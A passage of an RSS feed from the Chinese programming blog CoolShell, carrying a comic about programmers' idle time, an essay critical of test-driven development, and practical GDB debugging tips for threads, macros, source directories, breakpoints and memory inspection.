Cheat Sheet by Dave Child</a></li>\n<li><a href=\"http://www.thejackol.com/htaccess-cheatsheet/\" target=\"_blank\">htaccess Cheatsheet</a></li>\n</ul>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/4795.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" alt=\"开源中最好的Web开发的资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4795.html\" class=\"wp_rp_title\">开源中最好的Web开发的资源</a></li><li ><a href=\"https://coolshell.cn/articles/9666.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/05/Render-Process-150x150.jpg\" alt=\"浏览器的渲染原理简介\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9666.html\" class=\"wp_rp_title\">浏览器的渲染原理简介</a></li><li ><a href=\"https://coolshell.cn/articles/3013.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/09/biolab-150x150.jpg\" alt=\"一些非常有意思的杂项资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3013.html\" class=\"wp_rp_title\">一些非常有意思的杂项资源</a></li><li ><a href=\"https://coolshell.cn/articles/1949.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/16.jpg\" alt=\"Web中的省略号\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1949.html\" class=\"wp_rp_title\">Web中的省略号</a></li><li ><a href=\"https://coolshell.cn/articles/17634.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/01/pretty-code-150x150.gif\" alt=\"Chrome开发者工具的小技巧\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17634.html\" class=\"wp_rp_title\">Chrome开发者工具的小技巧</a></li><li ><a href=\"https://coolshell.cn/articles/6840.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/03/css-layouts-150x150.gif\" alt=\"CSS 布局:40个教程、技巧、例子和最佳实践\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/6840.html\" class=\"wp_rp_title\">CSS 布局:40个教程、技巧、例子和最佳实践</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3684.html\">Web开发人员速查卡</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/3684.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>22</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>为啥搞电脑的会有这么多空闲时间？</title>\n\t\t<link>https://coolshell.cn/articles/3672.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/3672.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Sat, 12 Feb 2011 10:03:11 +0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<category><![CDATA[Programmer]]></category>\n\t\t<category><![CDATA[程序员]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=3672</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>解释一下： Web程序员—— “正在上传中……” 系统管理员——“正在启动中……” 黑客——“黑客脚本放出去了……” 3D动画制作——“正在渲染中……” 咨询顾...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/3672.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/3672.html\">为啥搞电脑的会有这么多空闲时间？</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><a href=\"https://coolshell.cn/wp-content/uploads/2011/02/reasons_why_people_who_work_with_computers_seem_to_have_a_lot_of_spare_time.png\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-3673\" title=\"reasons_why_people_who_work_with_computers_seem_to_have_a_lot_of_spare_time\" src=\"https://coolshell.cn/wp-content/uploads/2011/02/reasons_why_people_who_work_with_computers_seem_to_have_a_lot_of_spare_time.png\" alt=\"\" width=\"640\" height=\"530\" srcset=\"https://coolshell.cn/wp-content/uploads/2011/02/reasons_why_people_who_work_with_computers_seem_to_have_a_lot_of_spare_time.png 640w, https://coolshell.cn/wp-content/uploads/2011/02/reasons_why_people_who_work_with_computers_seem_to_have_a_lot_of_spare_time-300x248.png 300w, https://coolshell.cn/wp-content/uploads/2011/02/reasons_why_people_who_work_with_computers_seem_to_have_a_lot_of_spare_time-326x270.png 326w\" sizes=\"(max-width: 640px) 100vw, 640px\" /></a></p>\n<p>解释一下：</p>\n<p><span id=\"more-3672\"></span></p>\n<ul>\n<li>Web程序员—— “正在上传中……”</li>\n<li>系统管理员——“正在启动中……”</li>\n<li>黑客——“黑客脚本放出去了……”</li>\n<li>3D动画制作——“正在渲染中……”</li>\n<li>咨询顾问——“现在是你的问题了……”</li>\n<li>程序员——“正在编译中……”</li>\n</ul>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/10/communication-150x150.png\" alt=\"聊聊团队协同和协同工具\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_title\">聊聊团队协同和协同工具</a></li><li ><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/http_method-150x150.png\" alt=\"“一把梭：REST API 全用 POST”\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_title\">“一把梭：REST API 全用 POST”</a></li><li ><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/monitoring-150x150.jpeg\" alt=\"谈谈公司对员工的监控\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_title\">谈谈公司对员工的监控</a></li><li ><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" alt=\"如何做一个有质量的技术分享\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_title\">如何做一个有质量的技术分享</a></li><li ><a href=\"https://coolshell.cn/articles/20977.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png\" alt=\"程序员如何把控自己的职业\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20977.html\" class=\"wp_rp_title\">程序员如何把控自己的职业</a></li><li ><a href=\"https://coolshell.cn/articles/20765.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/01/remote-150x150.jpg\" alt=\"MegaEase的远程工作文化\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20765.html\" class=\"wp_rp_title\">MegaEase的远程工作文化</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3672.html\">为啥搞电脑的会有这么多空闲时间？</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/3672.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>22</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>TDD并不是看上去的那么美</title>\n\t\t<link>https://coolshell.cn/articles/3649.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/3649.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Sat, 12 Feb 2011 00:48:16 +0000</pubDate>\n\t\t\t\t<category><![CDATA[流程方法]]></category>\n\t\t<category><![CDATA[agile]]></category>\n\t\t<category><![CDATA[TDD]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=3649</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>春节前的一篇那些炒作过度的技术和概念中对敏捷和中国ThoughtWorks的微辞引发了很多争议，也惊动了中国ThoughtWorks公司给我发来了邮件想来找我当...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/3649.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/3649.html\">TDD并不是看上去的那么美</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>春节前的一篇<a title=\"那些炒作过度的技术和概念\" href=\"https://coolshell.cn/articles/3609.html\">那些炒作过度的技术和概念</a>中对敏捷和中国ThoughtWorks的微辞引发了很多争议，也惊动了中国ThoughtWorks公司给我发来了邮件想来找我当面聊聊。对于Agile的Fans们，意料之中地也对我进行了很多质疑和批评。我也回复了许多评论。不过，我的那些回复都是关于中国ThoughtWorks咨询师以及其咨询的方法的。我对Agile方法论中的具体内容评价的不是很多，所以，我想不妨讨论一下Agile方法论中的具体的实践（以前本站也讨论过<a href=\"https://coolshell.cn/articles/16.html\" target=\"_blank\">结对编程的利与弊</a>）。</p>\n<p>那么，这次就说说TDD吧，这是ThoughtWorks中国和Agile的Fans们最喜欢的东西了。我在<a href=\"https://coolshell.cn/articles/3609.html\" target=\"_blank\">原来的那篇文章</a>中，我把TDD从过度炒作的技术剔除了出去，因为我还是觉得TDD有些道理的，不过，回顾我的经验，我也并不是很喜欢TDD。我这篇文章是想告诉大家，<strong>TDD并没有看上去的那么美，而且非常难以掌控，并且，这个方法是有悖论之处的</strong>。</p>\n<h4>TDD简介</h4>\n<p><a href=\"http://en.wikipedia.org/wiki/Test-driven_development\" target=\"_blank\">TDD</a>全称Test Driven Development，是一种软件开发的流程，其由敏捷的“<a href=\"http://en.wikipedia.org/wiki/Extreme_programming\" target=\"_blank\">极限编程</a>”引入。其开发过程是从功能需求的test case开始，先添加一个test case，然后运行所有的test case看看有没有问题，再实现test case所要测试的功能，然后再运行test case，查看是否有case失败，然后重构代码，再重复以上步骤。其理念主要是确保两件事：</p>\n<ul>\n<li>确保所有的需求都能被照顾到。</li>\n<li>在代码不断增加和重构的过程中，可以检查所有的功能是否正确。</li>\n</ul>\n<p>我不否认TDD的一些有用的地方，如果我们以Test Case 开始，那么，我们就可以立刻知道我们的代码运行的情况是什么样的，这样可以让我们更早地得到我们实现思路的反馈，于是我们更会有信心去重构，去重新设计，从而可以让我们的代码更为正确。</p>\n<p>不过，我想提醒的是，<strong>TDD和Unit Test是两码子事儿</strong>。有很多人可能混淆了自动化的Unit Test（如：XUnit系例）和TDD的软件开发过程。另外，可能还会有人向鼓吹“<strong>TDD让你进行自顶向下的设计方式</strong>”，对此，请参阅本站的《<a href=\"https://coolshell.cn/articles/1654.html\" target=\"_blank\">Richard Feynman, 挑战者号, 软件工程</a>》——NASA的挑战者号告诉你自顶向下设计的危险性。</p>\n<h4>TDD的困难之处</h4>\n<p>下面是几个我认为TDD不容易掌控的地方，甚至就有些不可能（如果有某某TDD的Fans或是ThoughtWorks的咨询师和你鼓吹TDD，你可以问问他们下面这些问题）</p>\n<ul>\n<li><strong>测试范围的确定</strong>。TDD开发流程，一般是先写Test Case。Test Case有很多种，有Functional的，有Unit的，有Integration的……，最难的是Test Case要写成什么样的程度呢。<br />\n<span id=\"more-3649\"></span></p>\n<p style=\"padding-left: 30px;\">\n<ul>\n<li style=\"text-align: left;\">如果写的太过High Level，那么，当你的Test Case 失败的时候，你不知道哪里出问题了，你得要花很多精力去debug代码。而我们希望的是其能够告诉我是哪个模块出的问题。只有High Level的Test Case，岂不就是Waterfall中的Test环节?</li>\n<li style=\"text-align: left;\">如果写的太过Low Level，那么，带来的问题是，你需要花两倍的时间来维护你的代码，一份给test case，一份给实现的功能代码。</li>\n<li style=\"text-align: left;\">另外，如果写得太Low Level，根据Agile的迭代开发来说，你的需求是易变的，很多时候，我们的需求都是开发人员自己做的Assumption。所以，你把Test Case 写得越细，将来，一旦需求或Assumption发生变化，你的维护成本也是成级数增加的。</li>\n<li style=\"text-align: left;\">当然，如果我把一个功能或模块实现好了，我当然知道Test 的Scope在哪里，我也知道我的Test Case需要写成什么样的程度。但是，<strong>TDD的悖论就在于，你在实现之前先把Test Case就写出来，所以，你怎么能保证你一开始的Test Case是适合于你后面的代码的</strong>？不要忘了，程序员也是在开发的过程中逐渐了解需求和系统的。如果边实现边调整Test Case，为什么不在实现完后再写Test Case呢？如果是这样的话，那就不是TDD了。</li>\n</ul>\n</li>\n</ul>\n<ul>\n<li><strong>关注测试而不是设计</strong>。这可能是TDD的一个弊端，就像《<a title=\"十条不错的编程观点\" href=\"https://coolshell.cn/articles/2424.html\">十条不错的编程观点</a>》中所说的一样——“Unit Test won&#8217;t help you write the good code”，在实际的操作过程中，我看到很多程序员为了赶工或是应付工作，<strong>导致其写的代码是为了满足测试的，而忽略了代码质量和实际需求</strong>。有时候，当我们重构代码或是fix bug的时候，甚至导致程序员认为只要所有的Test Case都通过了，代码就是正确的。当然，TDD的粉丝们一定会有下面的辩解：\n<p style=\"padding-left: 30px;\">\n<ul>\n<li>可以通过结对编程来保证代码质量。</li>\n<li>代码一开始就是需要满足功能正确，后面才是重构和调优，而TDD正好让你的重构和优化不会以牺牲功能为代价。</li>\n</ul>\n</li>\n</ul>\n<p style=\"padding-left: 30px;\">说的没错，但仅在理论上。操作起来可能会并不会得到期望的结果。1）“结对编程”其并不能保证结对的两个人都不会以满足测试为目的，因为重构或是优化的过程中，一旦程序员看到N多的test cases 都failed了，人是会紧张的，你会不自然地去fix你的代码以让所有的test case都通过。2）另外，我不知道大家怎么编程，我一般的做法是从大局思考一下各种可行的实现方案，对于一些难点需要实际地去编程试试，最后权衡比较，挑选一个最好的方案去实现。而往往着急着去实现某一功能，通常在会导致的是返工，而后面的重构基本上因为前期考虑不足和成为了重写。所以，在实际操作过程中，你会发现，很多时候的重构通常意味着重写，因为那些&#8221;非功能性&#8221;的需求，你不得不re-design。而re-design往往意味着，你要重写很多Low-Level的Test Cases，搞得你只敢写High Level的Test Case。</p>\n<p style=\"padding-left: 30px;\">\n<ul>\n<li><strong>TDD导致大量的Mock和Stub</strong>。相信我，Test Case并不一定是那么容易的。比如，和其它团队或是系统的接口的对接，或是对实现还不是很清楚的模块，等等。于是你需要在你的代码中做很多的Mock和Stub，甚至fake一些函数来做模拟，很明显，你需要作大量的 assumption。于是，你发现管理和维护这些Mock和Stub也成了一种负担，最要命的是，那不是真正的集成测试，你的Test Case中的Mock很可能是错的，你需要重写他们。</li>\n</ul>\n<p style=\"padding-left: 30px;\">也许，你会说，就算是不用TDD，在正常的开发过程中，我们的确需要使用Mock和Stub。没错！的确是这样的，不过，记住，我们是在实现代码后来决定什么地方放一个Mock或Stub，而不是在代码实现前干这个事的。</p>\n<ul>\n<li><strong>Test Case并没有想像中的那么简单</strong>。和Waterfall一样，Waterfall的每一个环节都依赖于前面那个环节的正确性，如果我们没有正确的理解需求，那么对于TDD，Test Case和我们的Code都会的错的。所以，TDD中，Test Case是开发中最重要的环节，Test Case的质量的问题会直接导致软件开发的正确和效率。<strong>而TW的咨询师和Agile的Fans们似乎天生就认为，TDD比Waterfall更能准确地了解需求。如果真是这样，用TDD进行需求分析，后面直接Waterfall就OK了</strong>。</li>\n</ul>\n<p style=\"padding-left: 30px;\">另外，某些Test Case并不一定那么好写，你可能80%的编程时间需要花在某个Test Case的设计和实现上（比如：测试并发），然后，需求一变，你又得重写Test Case。有时候，你会发现写Test Case其实和做实际设计没有差别，你同样要考虑你Test Case的正确性，扩展性，易读性，易维护性，甚至重用性。<strong>如果说我们开发的Test Case是用来保证我们代码实现的正确性，那么，谁又来保证我们的Test Case的正确性呢</strong>？编写Test Case也需要结对或是Code review吗？软件开发有点像长跑，如果把能量花在了前半程，后半程在发力就能难了。</p>\n<p>也许，TDD真是过度炒作的，不过，我还真是见过使用TDD开发的不错的项目，只不过那个项目比较简单了。更多的情况下，我看到的是教条式的生硬的TDD，所以，不奇怪地听到了程序员们的抱怨——“自从用了TDD，工作量更大了”。当然，这也不能怪他们，TDD本来就是很难把控的方法。这里送给软件开发管理者们一句话——“<strong>当你的软件开发出现问题的时候，就像bug-fix一样，首要的事是找到root cause，然后再case by case的解决，千万不要因为有问题就要马上换一种新的开发方法</strong>”。相信我，大多数的问题是人和管理者的问题，不是方法的问题。</p>\n<p>（<strong>全文完，转载请注明作者和出处，请勿用于商业用途</strong>）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/8209.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/09/fight-150x150.jpg\" alt=\"“单元测试要做多细？”\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8209.html\" class=\"wp_rp_title\">“单元测试要做多细？”</a></li><li ><a href=\"https://coolshell.cn/articles/5531.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" alt=\"Test-Driven Development？别逗了\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5531.html\" class=\"wp_rp_title\">Test-Driven Development？别逗了</a></li><li ><a href=\"https://coolshell.cn/articles/5143.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg\" alt=\"在新浪微博上关于敏捷的一些讨论\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5143.html\" class=\"wp_rp_title\">在新浪微博上关于敏捷的一些讨论</a></li><li ><a href=\"https://coolshell.cn/articles/4891.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" alt=\"Bob大叔和Jim Coplien对TDD的论战\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4891.html\" class=\"wp_rp_title\">Bob大叔和Jim Coplien对TDD的论战</a></li><li ><a href=\"https://coolshell.cn/articles/3778.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg\" alt=\"敏捷水管工\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3778.html\" class=\"wp_rp_title\">敏捷水管工</a></li><li ><a href=\"https://coolshell.cn/articles/3745.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/26.jpg\" alt=\"再谈敏捷和ThoughtWorks中国咨询师\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3745.html\" class=\"wp_rp_title\">再谈敏捷和ThoughtWorks中国咨询师</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3649.html\">TDD并不是看上去的那么美</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/3649.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>102</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>GDB中应该知道的几个调试方法</title>\n\t\t<link>https://coolshell.cn/articles/3643.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/3643.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Thu, 10 Feb 2011 01:34:08 +0000</pubDate>\n\t\t\t\t<category><![CDATA[编程工具]]></category>\n\t\t<category><![CDATA[GDB]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=3643</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>七、八年前写过一篇《用GDB调试程序》，于是，从那以后，很多朋友在MSN上以及给我发邮件询问我关于GDB的问题，一直到今天，还有人在问GDB的相关问题。这么多年...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/3643.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/3643.html\">GDB中应该知道的几个调试方法</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>七、八年前写过一篇《<a href=\"http://blog.csdn.net/haoel/archive/2003/07/02/2879.aspx\" target=\"_blank\">用GDB调试程序</a>》，于是，从那以后，很多朋友在MSN上以及给我发邮件询问我关于GDB的问题，一直到今天，还有人在问GDB的相关问题。这么多年来，有一些问题是大家反复在问的，一方面，我觉得我以前的文章可能没有说清楚，另一方面，我觉得大家常问的问题正是最有用的，所以，在这里罗列出来。希望大家补充。</p>\n<h4>一、多线程调试</h4>\n<p>多线程调试可能是问得最多的。其实，重要就是下面几个命令：</p>\n<ul>\n<li>info thread 查看当前进程的线程。</li>\n<li>thread &lt;ID&gt; 切换调试的线程为指定ID的线程。</li>\n<li>break file.c:100 thread all  在file.c文件第100行处为所有经过这里的线程设置断点。</li>\n<li>set scheduler-locking off|on|step，这个是问得最多的。在使用step或者continue命令调试当前被调试线程的时候，其他线程也是同时执行的，怎么只让被调试程序执行呢？通过这个命令就可以实现这个需求。\n<ul>\n<li>off 不锁定任何线程，也就是所有线程都执行，这是默认值。</li>\n<li>on 只有当前被调试程序会执行。</li>\n<li>step 在单步的时候，除了next过一个函数的情况(熟悉情况的人可能知道，这其实是一个设置断点然后continue的行为)以外，只有当前线程会执行。</li>\n</ul>\n</li>\n</ul>\n<h4>二、调试宏</h4>\n<p>这个问题超多。在GDB下，我们无法print宏定义，因为宏是预编译的。但是我们还是有办法来调试宏，这个需要GCC的配合。</p>\n<p>在GCC编译程序的时候，加上<strong>-ggdb3</strong>参数，这样，你就可以调试宏了。</p>\n<p>另外，你可以使用下述的GDB的宏调试命令 来查看相关的宏。</p>\n<ul>\n<li>info macro &#8211; 你可以查看这个宏在哪些文件里被引用了，以及宏定义是什么样的。</li>\n<li>macro &#8211; 你可以查看宏展开的样子。</li>\n</ul>\n<p><span id=\"more-3643\"></span></p>\n<h4>三、源文件</h4>\n<p>这个问题问的也是很多的，太多的朋友都说找不到源文件。在这里我想提醒大家做下面的检查：</p>\n<ol>\n<li>编译程序员是否加上了-g参数以包含debug信息。</li>\n<li>路径是否设置正确了。使用GDB的directory命令来设置源文件的目录。</li>\n</ol>\n<p>下面给一个调试/bin/ls的示例（ubuntu下）</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">$ apt-get source coreutils\n$ sudo apt-get install coreutils-dbgsym\n$ gdb /bin/ls\nGNU gdb (GDB) 7.1-ubuntu\n(gdb) list main\n1192    ls.c: No such file or directory.\nin ls.c\n(gdb) directory ~/src/coreutils-7.4/src/\nSource directories searched: /home/hchen/src/coreutils-7.4:$cdir:$cwd\n(gdb) list main\n1192        }\n1193    }\n1194\n1195    int\n1196    main (int argc, char **argv)\n1197    {\n1198      int i;\n1199      struct pending *thispend;\n1200      int n_files;\n1201</pre>\n<h4>四、条件断点</h4>\n<p>条件断点是语法是：break  [where] if [condition]，这种断点真是非常管用。尤其是在一个循环或递归中，或是要监视某个变量。注意，这个设置是在GDB中的，只不过每经过那个断点时GDB会帮你检查一下条件是否满足。</p>\n<h4>五、命令行参数</h4>\n<p>有时候，我们需要调试的程序需要有命令行参数，很多朋友都不知道怎么设置调试的程序的命令行参数。其实，有两种方法：</p>\n<ol>\n<li>gdb命令行的 &#8211;args 参数</li>\n<li>gdb环境中 set args命令。</li>\n</ol>\n<h4>六、gdb的变量</h4>\n<p>有时候，在调试程序时，我们不单单只是查看运行时的变量，我们还可以直接设置程序中的变量，以模拟一些很难在测试中出现的情况，比较一些出错，或是switch的分支语句。使用set命令可以修改程序中的变量。</p>\n<p>另外，你知道gdb中也可以有变量吗？就像shell一样，gdb中的变量以$开头，比如你想打印一个数组中的个个元素，你可以这样：</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">(gdb) set $i = 0\n\n(gdb) p a[$i++]\n\n...  #然后就一路回车下去了\n\n</pre>\n<p>当然，这里只是给一个示例，表示程序的变量和gdb的变量是可以交互的。</p>\n<h4>七、x命令</h4>\n<p>也许，你很喜欢用p命令。所以，当你不知道变量名的时候，你可能会手足无措，因为p命令总是需要一个变量名的。x命令是用来查看内存的，在gdb中 &#8220;help x&#8221; 你可以查看其帮助。</p>\n<ul>\n<li>x/x 以十六进制输出</li>\n<li>x/d 以十进制输出</li>\n<li>x/c 以单字符输出</li>\n<li>x/i  反汇编 &#8211; 通常，我们会使用 <code>x/10i $ip-20 来查看当前的汇编（$ip是指令寄存器）</code></li>\n<li>x/s 以字符串输出</li>\n</ul>\n<h4>八、command命令</h4>\n<p>有一些朋友问我如何自动化调试。这里向大家介绍command命令，简单的理解一下，其就是把一组gdb的命令打包，有点像字处理软件的“宏”。下面是一个示例：</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">(gdb) break func\nBreakpoint 1 at 0x3475678: file test.c, line 12.\n(gdb) command 1\nType commands for when breakpoint 1 is hit, one per line.\nEnd with a line saying just &quot;end&quot;.\n&gt;print arg1\n&gt;print arg2\n&gt;print arg3\n&gt;end\n(gdb)</pre>\n<p>当我们的断点到达时，自动执行command中的三个命令，把func的三个参数值打出来。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" 